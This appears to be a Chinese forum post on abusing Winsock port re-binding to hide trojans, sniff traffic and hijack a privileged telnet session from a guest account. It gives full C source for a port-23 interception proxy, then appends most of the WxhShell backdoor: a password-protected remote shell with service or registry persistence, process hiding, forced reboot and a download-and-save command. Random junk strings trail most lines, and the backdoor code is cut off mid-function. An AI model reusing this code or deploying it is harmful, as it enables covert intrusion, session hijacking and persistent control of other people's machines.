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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1`QsW&9=b  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z/7dg-$?'0  
I="oxf#q  
  saddr.sin_family = AF_INET; a_{6Qdl  
1eD.:_t4  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :<%vE!$  
@)b^^Fp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;(S|cm'>}  
r.<JDdj  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Uouq>N  
wS%zWdsz  
  这意味着什么?意味着可以进行如下的攻击: 02pplDFsM  
hfv%,,e  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /WYh[XKe  
dhtb?n{  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) OpQ8\[X+  
KuXkI;63J>  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,E9d\+j  
anC+r(jjg9  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  eO[c lB  
u|OtKq  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 e "n|jRh  
hDvpOIUL1  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Gkmsaf>  
"lrA%~3%[P  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 w~LU\Ct  
$:;%bjSI  
  #include l[*sHi  
  #include { i;6vRr  
  #include u*2JUI*  
  #include    ]| WA#8_|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   'HB~Dbq`V  
  int main() K'Spbn!nC  
  { Ue!Q."  
  WORD wVersionRequested; v20~^gKo=m  
  DWORD ret; u]bz42]  
  WSADATA wsaData; C0(sAF@  
  BOOL val; 8W,*eke?  
  SOCKADDR_IN saddr; ox4W$YdMG  
  SOCKADDR_IN scaddr; Rsn^eR6^  
  int err; Nv3tt  
  SOCKET s; *~;8N|4<  
  SOCKET sc; :\bfGSD/gd  
  int caddsize; {:)vwUe{  
  HANDLE mt; 3]`mQm E  
  DWORD tid;   s.rT]  
  wVersionRequested = MAKEWORD( 2, 2 ); ;($1Z7j+  
  err = WSAStartup( wVersionRequested, &wsaData ); wT/6aJoX  
  if ( err != 0 ) { ]/44Ygz/  
  printf("error!WSAStartup failed!\n"); iRs V#s  
  return -1; Bc[6*Y,%T  
  } M2p<u-6 "  
  saddr.sin_family = AF_INET; Rcf=J){D6  
   nq@5j0fK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5#!ogKQ(i  
[%~^kq=|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [gZDQcU  
  saddr.sin_port = htons(23); k%Eh{dA  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v$3_o :  
  { >BJ}U_ck  
  printf("error!socket failed!\n"); |D<+X^0'  
  return -1; *l-`<.  
  } m^A]+G#/  
  val = TRUE; )Mi'(C;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ` FxtLG,F  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U`1l8'W}:#  
  { 4+Ti7p06&\  
  printf("error!setsockopt failed!\n"); blp=Hk  
  return -1; BKZ v9  
  } ,R~eY?{a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; L#ZLawG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k* Pz&8|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @h(!<Ux_  
c'rd$  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) kwF]TO S  
  { 7E(%9W6P  
  ret=GetLastError(); 4>_d3_1sn  
  printf("error!bind failed!\n"); Qi:j)uDW  
  return -1; ~p^7X2% !  
  } Q c3?}os2  
  listen(s,2); )E~_rDTl  
  while(1) QkE,T0,/?h  
  { Ut_mrb+W  
  caddsize = sizeof(scaddr); nsl*Dm"*F  
  //接受连接请求 9A+M|;O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9GPb$ gtx  
  if(sc!=INVALID_SOCKET) j{"[Ec  
  { :l`i4kx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); I.9o`Q[8&  
  if(mt==NULL) h!Y?SO.b  
  { /{R3@,D[]  
  printf("Thread Creat Failed!\n"); {XHk6w *-  
  break; |*E"G5WZM  
  } ~d>uXrb  
  } ~bGnq, .$  
  CloseHandle(mt); h?A'H RyL~  
  } T3rn+BxF7  
  closesocket(s); 6l[G1KkV  
  WSACleanup(); 5qiI.)  
  return 0; Y%h}U<y  
  }   |Ng"C`$oqv  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5m`[MBt2g  
  { ^W}MM8 '  
  SOCKET ss = (SOCKET)lpParam; eJ:Yj ~X`<  
  SOCKET sc; NQR^%<hU  
  unsigned char buf[4096]; OAVQ`ek  
  SOCKADDR_IN saddr; E*^ 9|Y[  
  long num; SUc6/'Rdr  
  DWORD val; `Hd9\;NJ  
  DWORD ret; sX5sL  
  //如果是隐藏端口应用的话,可以在此处加一些判断 IXJ6PpQLv  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   8nsZ+,@+[  
  saddr.sin_family = AF_INET; ]738Z/)^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3cHtf  
  saddr.sin_port = htons(23); uP Rl[tS0  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /n8 psj  
  { pg!`SxFD  
  printf("error!socket failed!\n"); 1I \tu  
  return -1; yLB~P7K  
  } `oVB!eapl  
  val = 100; Rn;VP:HM  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]?# #))RUS  
  { gDv$DB8-  
  ret = GetLastError(); - `4Ty*K  
  return -1; \n;g2/VjO  
  }  mmcdtVe  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _4!{IdR  
  { &SrGh$:X  
  ret = GetLastError(); UM`nq;>  
  return -1; X(b1/lzA  
  } ig$jKou F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) x5PPu/  
  { /6jGt'^U  
  printf("error!socket connect failed!\n"); wibwyzo  
  closesocket(sc); &N9IcNP  
  closesocket(ss); 9N1#V K  
  return -1; [9HYO  
  } 117c,yM0  
  while(1) 8H_l[/  
  { $W*|~}F/Ap  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F"v:}Vy|   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 9M]^l,  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |=u96G~N  
  num = recv(ss,buf,4096,0); 6+)x7g1PL  
  if(num>0) SXh?U,5u  
  send(sc,buf,num,0); %Gu][_.L  
  else if(num==0) wn1, EhHt  
  break; *(p7NYf1  
  num = recv(sc,buf,4096,0); }+_9"YQ:  
  if(num>0) "8?TSm8  
  send(ss,buf,num,0); q- H&5K  
  else if(num==0) Y-= /,   
  break; -~} tq]  
  } wsI5F&R,  
  closesocket(ss); B#:E?a;{  
  closesocket(sc); L&'l3|  
  return 0 ; L:i+}F;M)s  
  } gZ*hkKN6  
N;g$)zCV1  
ZqFUPHc  
========================================================== KDBY9`08  
F0&O/-w&u  
下边附上一个代码,,WXhSHELL N2% :h;tf  
]$|st^Q  
========================================================== S QSA%B$<  
WDvV LU`  
#include "stdafx.h" Pfk{=y  
N"K\ick6J  
#include <stdio.h> VW~Xbyf  
#include <string.h> VRB~7\A5<)  
#include <windows.h> _<3r'Y,  
#include <winsock2.h> s|E%~j[9  
#include <winsvc.h> E^82==R  
#include <urlmon.h> "\<P$&`HA  
U&s(1~e\  
#pragma comment (lib, "Ws2_32.lib") {IrJLlq  
#pragma comment (lib, "urlmon.lib") 7~D`b1||  
(Wn "3 ]  
#define MAX_USER   100 // 最大客户端连接数 l<Lz{)OR  
#define BUF_SOCK   200 // sock buffer ?l>e75V%w  
#define KEY_BUFF   255 // 输入 buffer jP7w6sk E  
wM0E%6 P  
#define REBOOT     0   // 重启 &#Wkww&Y  
#define SHUTDOWN   1   // 关机 u X> PefR  
Q~b_dx{m  
#define DEF_PORT   5000 // 监听端口 boIVU`F-!  
d _uF Y:  
#define REG_LEN     16   // 注册表键长度 C6CGj8G  
#define SVC_LEN     80   // NT服务名长度 w~n kNqm  
OSj%1KL  
// 从dll定义API m3B \)2B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h)P]gT0f/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'Nw6.5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @E YK(QS-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (]}XLMi,|!  
4[Z1r~t\L  
// wxhshell配置信息 Q Y@nE  
struct WSCFG { j $KM9  
  int ws_port;         // 监听端口 &62` Wr0C  
  char ws_passstr[REG_LEN]; // 口令 p#z;cjfSt  
  int ws_autoins;       // 安装标记, 1=yes 0=no r.9 $y/5  
  char ws_regname[REG_LEN]; // 注册表键名 K# /Ch5?  
  char ws_svcname[REG_LEN]; // 服务名 dw3'T4TC?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \3M1.Q4$Gr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D?%e"*>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~%/'0}F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no LK{a9` h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uFWvtL?;_  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lR, G;  
VSx%8IM+X  
}; vmMV n-\#  
BJ"Ay@D*  
// default Wxhshell configuration Na-q%ru  
struct WSCFG wscfg={DEF_PORT, 9wzg{4/-$  
    "xuhuanlingzhe", V54q"kP,@.  
    1, SK}HXG{?  
    "Wxhshell", WVinP(#nfM  
    "Wxhshell", B JU*`Tx  
            "WxhShell Service", 9Y\F53p&j  
    "Wrsky Windows CmdShell Service", UUD\bWfn  
    "Please Input Your Password: ", JTjzT2`A.  
  1, 8.PXTOhVL  
  "http://www.wrsky.com/wxhshell.exe", ipfm'aQ  
  "Wxhshell.exe" T4l-sJ'|  
    }; k-io$  
yB|]LYh  
// 消息定义模块 BSjbnnW}"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8Er[M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7G?Ia%u  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y{:]sHyG  
char *msg_ws_ext="\n\rExit."; PMD,8]|  
char *msg_ws_end="\n\rQuit."; zz[g{[SN  
char *msg_ws_boot="\n\rReboot..."; ?!R %o  
char *msg_ws_poff="\n\rShutdown..."; 2Qw )-EB  
char *msg_ws_down="\n\rSave to "; #wGQv  
AUu5g  
char *msg_ws_err="\n\rErr!"; %}\ vW  
char *msg_ws_ok="\n\rOK!"; K90D1sD  
-aC!0O y`  
char ExeFile[MAX_PATH]; t7sUtmq  
int nUser = 0; ~>.awu+o|  
HANDLE handles[MAX_USER]; neK*jdaP  
int OsIsNt; ,o4r,.3[s  
S$Qr@5  
SERVICE_STATUS       serviceStatus;  \\y}DNh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SIj6.RK  
iZsau2K  
// 函数声明 {6-;P#Q0_  
int Install(void); F]hx  
int Uninstall(void); 2LtU;}7s  
int DownloadFile(char *sURL, SOCKET wsh); X S6]C{  
int Boot(int flag); 6JUav."`~  
void HideProc(void); 3we.*\2$  
int GetOsVer(void); jq7vOr-_g  
int Wxhshell(SOCKET wsl); (N&k}CO]W  
void TalkWithClient(void *cs); ^)(G(=-Rf  
int CmdShell(SOCKET sock); u Eu6f  
int StartFromService(void); n$nne6|O  
int StartWxhshell(LPSTR lpCmdLine); cC7"J\+r*  
#rqyy0k0'h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S(@*3]!q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mjWp8i  
g%@]z8L  
// 数据结构和表定义 fQ2!sV  
SERVICE_TABLE_ENTRY DispatchTable[] = 8L%%eM_O  
{ 2nG{>,#C:O  
{wscfg.ws_svcname, NTServiceMain}, 41P4?"O  
{NULL, NULL} i=,B88ko  
}; WHZe)|n  
Q=)"om  
// 自我安装 e);bF>.~  
int Install(void) K7)j  
{ ,Zf :R  
  char svExeFile[MAX_PATH]; Y*]l|)a6_]  
  HKEY key; MoC*tImWR  
  strcpy(svExeFile,ExeFile); > u'/$ k  
> #Grf)@"6  
// 如果是win9x系统,修改注册表设为自启动 dqIZ#;:g  
if(!OsIsNt) { D}=/w+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  |JirBz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j+z'  
  RegCloseKey(key); AAeQ-nbP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dx p>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }rFsU\]:q  
  RegCloseKey(key); w0q?\qEX  
  return 0; KZ367&>b7  
    } I{i:B  
  } yfRUTG  
} 03i?"MvNo  
else { 6Cop#kW#  
<k!mdj)  
// 如果是NT以上系统,安装为系统服务 8=ukS_?Vy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); c ,g]0S?gu  
if (schSCManager!=0) ,3fuX~g  
{ UKt/0Ze  
  SC_HANDLE schService = CreateService F^/~@^{P  
  ( gxBl1  
  schSCManager, o|b[(t$;O  
  wscfg.ws_svcname, B^Rw?: hN  
  wscfg.ws_svcdisp, $1Q3Y'Q9  
  SERVICE_ALL_ACCESS, $9j>VGf=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n1k$)S$iiy  
  SERVICE_AUTO_START, < -@,  
  SERVICE_ERROR_NORMAL, nr<}Hc^f-  
  svExeFile, u&l>cJ'  
  NULL, PVQ#>_~5  
  NULL, |j.KFu845  
  NULL, / h 2*$  
  NULL, 2@=cqD7x  
  NULL /ze_{{o  
  ); #*ZnA,  
  if (schService!=0) !."%M^J  
  { p``;!3~ ~  
  CloseServiceHandle(schService); Sop Ntcu!  
  CloseServiceHandle(schSCManager); :$X4#k<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A{{q'zb!  
  strcat(svExeFile,wscfg.ws_svcname); q\z=z$VR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i;uG:,ro  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gdc ~Lh  
  RegCloseKey(key); ;|;h9"  
  return 0; @xW"rX#7f  
    } &cn%4Er  
  } .:r2BgL  
  CloseServiceHandle(schSCManager); eEg1-  
} qxg7cj2  
} 7~%  
Uy_}@50"l  
return 1; I;kUG_c(4  
} P?3YHa^up  
ZmR[5 mv@  
// 自我卸载 OyG_thX  
int Uninstall(void) 7E\K!v_  
{ n+RUPZ  
  HKEY key; {Vt^Xc  
vo}_%5v8  
if(!OsIsNt) { +QCU]Fozk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [][:/~q!  
  RegDeleteValue(key,wscfg.ws_regname); (c*7VO;  
  RegCloseKey(key); O>o}<t7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k:+)$[t7  
  RegDeleteValue(key,wscfg.ws_regname); C[87f-g  
  RegCloseKey(key); 2y .-4?e  
  return 0; edImrm1f  
  } 99+/W*C  
} R; Gl{  
} X-;Qorb^  
else { |=h)efo}  
oE|u;o  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X{9JSq  
if (schSCManager!=0) 4E>/*F!  
{ C^8)IN=$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U d=gdsL  
  if (schService!=0) 3 DO$^JJ.  
  { 1>*UbV<R;u  
  if(DeleteService(schService)!=0) { 0[$Mo3c+'  
  CloseServiceHandle(schService); rz%[o,s  
  CloseServiceHandle(schSCManager); A aF5`  
  return 0; kgbr+Yw2X  
  } >1)@n3.<O  
  CloseServiceHandle(schService); 1X!f!0=g+  
  } y uK5r  
  CloseServiceHandle(schSCManager); wYcz\uV  
} +y{93nl  
} Kj1#R  
D0E"YEo\nv  
return 1; 6UzT]"LR;  
} j O5:{%  
2'UFHiK  
// 从指定url下载文件 n\8[G [M  
int DownloadFile(char *sURL, SOCKET wsh) n[cyK$"  
{ #&`WMLl+8  
  HRESULT hr; &Ow?Hd0  
char seps[]= "/"; ,j(p}t  
char *token; luxKgcU  
char *file; &L~31Ayj&  
char myURL[MAX_PATH]; )(|0KarF  
char myFILE[MAX_PATH]; lj SR?:\  
uI:3$  
strcpy(myURL,sURL); |@Idf`N$  
  token=strtok(myURL,seps); #3:'lGBIK  
  while(token!=NULL) dc@wf;o  
  { s2' :&5(  
    file=token; 4f@\f7 \  
  token=strtok(NULL,seps); L8-[:1  
  } O^="T^J  
 KHs{/  
GetCurrentDirectory(MAX_PATH,myFILE); Mbi+Vv-  
strcat(myFILE, "\\");  ~bWWu`h  
strcat(myFILE, file); Z$m2rZ#  
  send(wsh,myFILE,strlen(myFILE),0); JjTzq2'%  
send(wsh,"...",3,0); DRg ~HT  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Tdmo'"m8z_  
  if(hr==S_OK) ,%b1 ]zZQ  
return 0; (.nJT"&  
else jv#" vQ9A]  
return 1; Fi3(glgd-  
ht74h  
} d&R\7)0  
7J!d3j2TR  
// 系统电源模块 g]#zWTw(   
int Boot(int flag) 8wx#,Xa  
{ Y*X6lo  
  HANDLE hToken; vJj j+:  
  TOKEN_PRIVILEGES tkp; [\%t<aa  
JjO/u>A3;7  
  if(OsIsNt) { -mYI[AG)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \,IDLXqp  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); HgBEV  
    tkp.PrivilegeCount = 1; qx<zX\qI6n  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N+@@EOmH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nF[eb{GR`  
if(flag==REBOOT) { Z a y'/b  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VA r?teY  
  return 0; uKAHJ$%  
} _G8y9!J  
else { _itN.^  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AJ1$$c  
  return 0; z'}t@R#H  
} :IKp7BS  
  } P}u<NPy3Q  
  else { &i}cC4i   
if(flag==REBOOT) { g8 *|" {  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]~<T` )Hi  
  return 0; 5xV/&N  
} 2iINQK$  
else { b({b5z.A  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JI; i1@| b  
  return 0; 6!=9V0G~  
} |0 pBBDw  
} OZ]3OL,  
F^v{Jqc  
return 1; =&G|} M  
} "dU#j,B2  
g_!xO2LH,8  
// win9x进程隐藏模块 `2U/O .rV  
void HideProc(void) 3Eux-C!t  
{ =,;3z/k%  
`2~Ea_Z  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X OtS+p  
  if ( hKernel != NULL ) (%IstR|u:  
  { H.S|njn:r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]vyF&`phb  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "@|V.d@  
    FreeLibrary(hKernel); k <Sa<  
  } :[?o7%"  
'GO..m"G  
return; 2/gj@>dt  
} T`DlOi]Z_  
rca"q[,  
// 获取操作系统版本 !Y i<h/:  
int GetOsVer(void) ",@g  
{ Xg#([}b  
  OSVERSIONINFO winfo; TKydOw@P"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (Q} ijwj  
  GetVersionEx(&winfo); BPs &  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J)& +y;.  
  return 1; ,>%r|YSJ)  
  else b#'a4j-u  
  return 0; /9# jv]C:  
} I:7,CV  
 -~aEqj#?  
// 客户端句柄模块 juZ3""  
int Wxhshell(SOCKET wsl) _NN{Wk/3w  
{ P@![P Ij  
  SOCKET wsh; ,Yt&PE  
  struct sockaddr_in client; *Bz&  
  DWORD myID; g2_df3Q  
qUg4-Z4  
  while(nUser<MAX_USER) J4^cd  
{ !@ '2  
  int nSize=sizeof(client); [uV/ Ra*g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JKbB,  
  if(wsh==INVALID_SOCKET) return 1; *zht(~%  
%NoZf^ ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cO+`8`kv  
if(handles[nUser]==0) 74OM tLL$  
  closesocket(wsh); |hyr(7  
else v0J1%{/xs  
  nUser++; hfc!M2/w  
  } @Ec9Do>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); P &._ -[  
wd0ACF  
  return 0; WSwmX3rn  
} "Y0[rSz,UW  
'.<"jZ  
// 关闭 socket m$: a|'mS  
void CloseIt(SOCKET wsh) !XC7F UO  
{ ?P]md9$(+e  
closesocket(wsh); 1mM52q.R4  
nUser--; 5!%/j,?  
ExitThread(0); #8|NZ6x,  
} eci\Q,   
&Wk<F3qN  
// 客户端请求句柄 *(IO<KAg8  
void TalkWithClient(void *cs) " <AljgF  
{ FeMu`|2  
A*i_- ;W)  
  SOCKET wsh=(SOCKET)cs; ( #Aq*2Z.  
  char pwd[SVC_LEN]; ;OyM~T gI  
  char cmd[KEY_BUFF]; sva$@y7b  
char chr[1]; \2b9A' d>  
int i,j; Ut=y`]F  
a{,t@G  
  while (nUser < MAX_USER) { GUX X|W[6  
xFnMXh t  
if(wscfg.ws_passstr) { F,:VL*.5kJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sl 5wX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !7DS  
  //ZeroMemory(pwd,KEY_BUFF); nQ6'yd"  
      i=0; }@4*0_g"Aw  
  while(i<SVC_LEN) { ?[">%^  
4 XQ?By  
  // 设置超时 U7=Z.*/62  
  fd_set FdRead; pn|{P<b\  
  struct timeval TimeOut; 7 #N @B  
  FD_ZERO(&FdRead); c6|&?}F  
  FD_SET(wsh,&FdRead); Z%=E/xT  
  TimeOut.tv_sec=8; n]!H,Q1,T  
  TimeOut.tv_usec=0; ~3 (>_r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ha 5\T'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); j>23QPG`6U  
Y8(yOVy9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 39CPFgi<l*  
  pwd=chr[0]; nU)f]4q{Ec  
  if(chr[0]==0xd || chr[0]==0xa) { `^[ra% a  
  pwd=0; yhmW-#+^e  
  break; 'r CR8>k  
  } ^g\%VIOD  
  i++; Y8T.RS0  
    } 6qf`P!7d]M  
(PF (,B  
  // 如果是非法用户,关闭 socket Af~AE2b3"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v\C+G[MV 7  
} E{J;-+t  
F\;1:y~1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tWuQKN`_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;7hr8?M|  
$Izk]o;X~  
while(1) { _De;SB %V  
hZy*E[i  
  ZeroMemory(cmd,KEY_BUFF); = '[@UVH(Z  
5KzU&!Zh9  
      // 自动支持客户端 telnet标准   kE}?"<l  
  j=0; x uF_^  
  while(j<KEY_BUFF) { %LyB~X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); V ALYA=w/  
  cmd[j]=chr[0]; WRCi!  
  if(chr[0]==0xa || chr[0]==0xd) { iatQHn >(  
  cmd[j]=0; JI(|sAH  
  break; ,*30Q  
  } H2}i .  
  j++; f?QD##~;  
    } !Fi)-o  
8z&9  
  // 下载文件 s0SB!-Vjm  
  if(strstr(cmd,"http://")) { A6VkVJZx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >e%Po,Fg$  
  if(DownloadFile(cmd,wsh)) <V{BRRx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aj_}B.  
  else aUV>O`|_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \JchcQ  
  } n$QFj'  
  else { ,bJx| K  
Bb)J8,LQ  
    switch(cmd[0]) { n)yqb  
  )XFMlSx)  
  // 帮助 <Bwu N,}  
  case '?': { +7w>ujeeJA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xS'So7:h  
    break; [Pay<]c6g  
  } =*pu+o,?  
  // 安装 n~Ix8|S h  
  case 'i': { ^]HwStn&=  
    if(Install()) KH-.Z0 2U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SWt"QqBU  
    else iBCM?RiG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O7W}Z1G  
    break; RN0Rk 8AC  
    } Oqyh{q%]  
  // 卸载 +e\u4k{3V  
  case 'r': { 4b)xW&K{  
    if(Uninstall()) lc^%:#@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h!.(7qdd  
    else {|cA[#j#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tn|re Xc0e  
    break; v|e>zm <  
    } o?>)CAo  
  // 显示 wxhshell 所在路径 N{'k ]&  
  case 'p': { zI(Pti  
    char svExeFile[MAX_PATH]; Z'E@sc 9  
    strcpy(svExeFile,"\n\r"); T!n<ya!  
      strcat(svExeFile,ExeFile); S}<(9@]z  
        send(wsh,svExeFile,strlen(svExeFile),0); Q]\x O/  
    break; 'EQAG' YV  
    } fN9hBC@  
  // 重启 ^U1;5+2G+~  
  case 'b': { shD$,! k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |Z<adOg  
    if(Boot(REBOOT)) *+G K ?Ga  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V}("8L  
    else { S9.jc@#.`  
    closesocket(wsh); ,F1$Of/'@\  
    ExitThread(0); ,xiRP$hGhh  
    } wFe</U-';  
    break; W\Gg!XsLk  
